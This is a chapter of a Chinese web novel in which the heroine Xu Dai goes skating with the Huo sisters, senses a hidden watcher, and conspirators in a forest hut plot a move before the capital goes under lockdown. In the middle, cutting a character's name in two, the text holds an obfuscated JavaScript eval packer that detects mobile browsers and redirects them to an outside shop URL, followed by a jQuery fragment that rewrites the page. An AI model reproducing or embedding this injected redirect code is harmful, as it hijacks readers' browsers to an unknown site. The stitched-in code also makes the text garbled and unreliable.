玉带河的冰面宽度之广比许黛想象中更为夸张,不,应该说是震撼。
亲眼望着面前原本波光粼粼,甚至汛期还有可能引发洪水的宽大河面此刻完全冰封在冰层下的安静画面,许黛只觉得震撼。
平整冰面上,还有昨夜未化的积雪,有很多姑娘已经在这里滑冰了,也有一些在打冰球。
有孩童三两成群穿梭其中打雪仗、堆雪人,一个个穿得跟圆滚滚的团子似的,白色的雪团子,红色的冰糖葫芦,各色的团子在冰面上艰难挪动。
没等许黛眼里的震惊消下去,霍家两姐妹一见到这个场面早就已经等不及了,拽着她想立刻下场去玩儿。
两人给她带了冰刀,往鞋上一装,就是简单的溜冰鞋,姐妹俩俨然是滑冰老手了,溜得非常顺溜,鱼儿一样滑上冰面就钻进人群里去了。
许黛在现代的时候倒是滑过两次冰,但依然只是初学者的水平,别说滑什么花样了,能不摔倒就不错了。
这里冰面上玩的都是女子和小童,奚睢三人不便跟着,没有同她们一起来这边。
许黛一时倒有些犯难,人太多了,她怕自己技术不好撞到人。
“怎么了?”霍家两姐妹滑了一圈过足了瘾才发现她没跟上,折返回来找人。
许黛不好意思的笑笑:“我不是很会滑,怕撞到人。”
两姐妹对视一眼:“没关系,我们带你!”
不等她说话,两人便一左一右地将她架起,来到了冰面上。
“啊啊啊啊——”
脚接触到冰面就不受控制地滑了出去,失去了身体的掌控感,许黛一时有些惊慌,放声大叫,然而她的大叫比起另外几个初学姑娘的声音显然不算什么,甚至还不如几个孩童笑闹的动静大,这份叫声自然没有引起别人的注意。
一片嘈杂热闹声中,许黛逐渐控制住了身体,也找到了滑冰感觉,叫声也弱了下来,开始跟着二人享受冰面滑行的快感。
“咦,许先生你学得还挺快!”霍言心惊奇看着她。
霍言晴深有同感地点点头:“我姐当时学了三天才学会控制冰刀呢!”
霍言心点着的头猛地停了:“霍言晴你作甚?!”
后者俏皮冲她做了个鬼脸,又笑嘻嘻地跟许黛说话:“许……”
她叫了一下,顿住了,然后问:“对了,许先生,认识你很久了,我还不知道你叫什么名字呢!”
她这么一说,霍言心也才意识到:“对哦,许先生叫什么名字?”
许黛微不可察地顿了一下,既而笑道:“我叫许岱,‘岱宗夫如何’的岱。”
两姐妹跟着点点头,霍言晴笑嘻嘻地夸赞:“许岱!好听!”
许黛也跟着笑,没有露出一丝不自然。
她的身份不能暴露,在不确认对方是否能信任的情况下,谁也不能透露。
目前唯一知道她真实身份的人是奚睢,但这属于意料之外,她无法掌控,她能做的就是将人变成自己的同盟,降低暴露的风险。
冰刀划过冰面,发出轻微的清脆响声,感觉有点好听。许黛甩甩头,将脑子里的其他想法甩掉,专注于脚下的冰面上。
三人玩得不亦乐乎,中间就休息了一次,喝了点儿水,便又投入到了宽大的冰面上。
玩到后面,许黛都感觉有点热了,霍言心和霍言晴还是一个比一个亢奋。
许黛看着她们笑着摇摇头,自己还是比不上人家精力旺盛啊。
正感叹着,她的后背忽然一僵,身后传来一种恐怖地被盯视的感觉,那感视线如有实质,让她不由自主地浑身僵硬,冷汗直冒。
她猛地转身,却没有看到什么可疑的人,有的只是热闹的冰面上,笑闹的孩童和学着在冰面上走路的两个女子。
一切都祥和而热闹,仿佛刚刚的视线只是幻觉。
许黛的面色却冷下来,她不觉得刚刚那是幻觉,自己到现在背后都有种阴森的寒意,背上的冷汗此时让贴身的衣物变得有些冰凉,这怎么会是幻觉?
她有些不好的预感。
原本这几个月一直风平浪静,她紧绷的神经都有些放松下来,结果刚刚的感觉又让她想起来前几个月的那些阴谋与诡计。
幕后之人还没被抓到,他们随时都有卷土重来的可能。
看着面前一望无际的冰面,许黛忽然有些担心。
玉带河是京城最大的河流,现下连玉带河都冻住了,那京城的护城河……
护城河冻住了,便失去了它原本的作用,京城岂不是有些危险了?
如果这种时候遇到敌袭……
许黛甩了甩头,感觉自己有点想多了,京城的每个冬天都是如此,朝廷肯定有对应的措施,再者,京城地处中原,要想一路直攻京城,路上的艰险难以估计。
许黛苦笑了一下,自己大概是被刚刚的盯视吓到了,才会想到这些。
“许岱!你休息得够久了,赶紧来玩呀!”霍言晴的声音吓了许黛一跳,也让她回过神来。
她松了口气,点点头跟上二人,不再去想那些乱七八糟的事。
酣畅淋漓地玩了一整天,三个人尽兴而归,霍言晴和霍言心两姐妹自然有自己的夫君带回,许黛便被分配到跟奚睢一起回去。
索性许黛并不觉得尴尬,过于扭捏反而让别人觉得有什么,她大大方方的点头同意奚睢与自己同路,跟霍家两姐妹告别。
回去的路上,奚睢望了眼暗下来的夜色,开口打破沉默:“你似乎有心事。”
他的语调一如既往地淡淡的,似乎不是询问,只是陈述。许黛有些惊讶,她以为自己已经伪装得很好了,毕竟她跟两姐妹玩了一整天她们都没有发现什么异常。
闻言,许黛也没有扭捏,这话没什么不好告诉奚睢的:“刚刚在玉带河,我感觉到有人在看我。”
奚睢的眉瞬间皱起,目光在她身上打量,许黛笑着摇头:“你别紧张,我没事,只是感觉到视线,并未看到人影。”
她顿了下,又说,“他们沉寂了这么久,会不会有什么大动作?最近天气太冷,护城河也结了冰,京城会不会有什么危险?”
奚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315727|189195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睢沉吟着摇了摇头:“这些你不用担心,朝廷会有策略。”
“我怀疑……”奚睢似乎想说什么,想了半晌又止住了话头,“没事。”
他似乎怕许黛误会,沉默了一会儿又解释道:“隔墙有耳。”
许黛了然地点点头,没有追问。
她还想活得久一点。
*
依旧是熟悉的密林,今夜风声很大,大雪纷飞。
密林深处,藏着一处不易被人发现的小院落,院落里只有两间竹屋,屋顶的茅草上已经落满了雪花,在寒风中显得渺小而又破落。
屋内倒是别有洞天,染了烛火又放有炭盆,内里温馨而暖和,一位身着素衣的男子在小炉上烹煮着茶水,闲适而安然。
忽然,竹屋的门被人用力推开,寒风从门口灌入,一瞬间,屋内气温飞速流失,原本安静的烛火开始极速狂跳,岌岌可危,似乎下一秒就要熄灭。
进来的是个全身裹满黑袍的人,他的胸膛剧烈起伏,半晌才道:“京城马上就要戒严,事情不能再等了,什么时候动手?”
烹茶的男子不悦地看了他一眼,似乎是责怪他的到来让屋内变冷:“急什么,来得及。”
听了他的话,黑袍人的胸口起伏得更厉害,他沉默了好半天,才将怒火压下来,沉声道:“我们没有多少时间了,不赶在戒严之前完成任务,你我都得死!”
烹茶之人似是没有听到,坐在原地,无动于衷,见自己的话没有起到作用,黑袍人周身气息彻底冷下来:“我们本想跟大人合作,既然大人不愿,早说便是,何必浪费各自时间,之后的事,就不劳大人动手了,我们成龙计划,自有决断。”
他说完这句,一甩袖袍,毫不留恋地向外走去。
“不是我不动,是时候未到。”烹茶之人终于开口了。
黑袍人向外走的步子停住,就听身后的人又道:“这是一盘大棋,要一步一步来,现在的等待,也是下棋的一环,还请大人稍安勿躁。”
黑袍人对他的这句话还算满意,终于再次转过身来,只是语气还是不算好:“那要何时才到时候?”
烹茶之人也不在意他的语气,笑呵呵道:“大人放心,戒严之前,此局可结,妻子皆会就位。”
听完他的话,黑袍人彻底冷静下来,哼笑一声:“那便再相信你一次也罢。”
*
那一日被盯视的感觉好像是幻觉,时间长了,许黛也忍不住怀疑自己。
从那次后,已经过了一个多月,奚睢增派了人手保护她,生怕暗处的人有什么动作,但那日之后,一切都井然有序,没有任何意外发生。
虽然无事发生是好事,但越这样,许黛心里那种不好的感觉就更强烈,总觉得有什么很坏的事情自己没有注意到。
直到某天,整个京城都乱了。
杜佩佩知道消息的那一刻,整张脸都白了下去,嘈杂热闹的大街中,她整个人如坠冰窟。
意识到发生了什么,杜佩佩几乎是狂奔回了金缘阁,马不停蹄地将这个消息告知于许黛。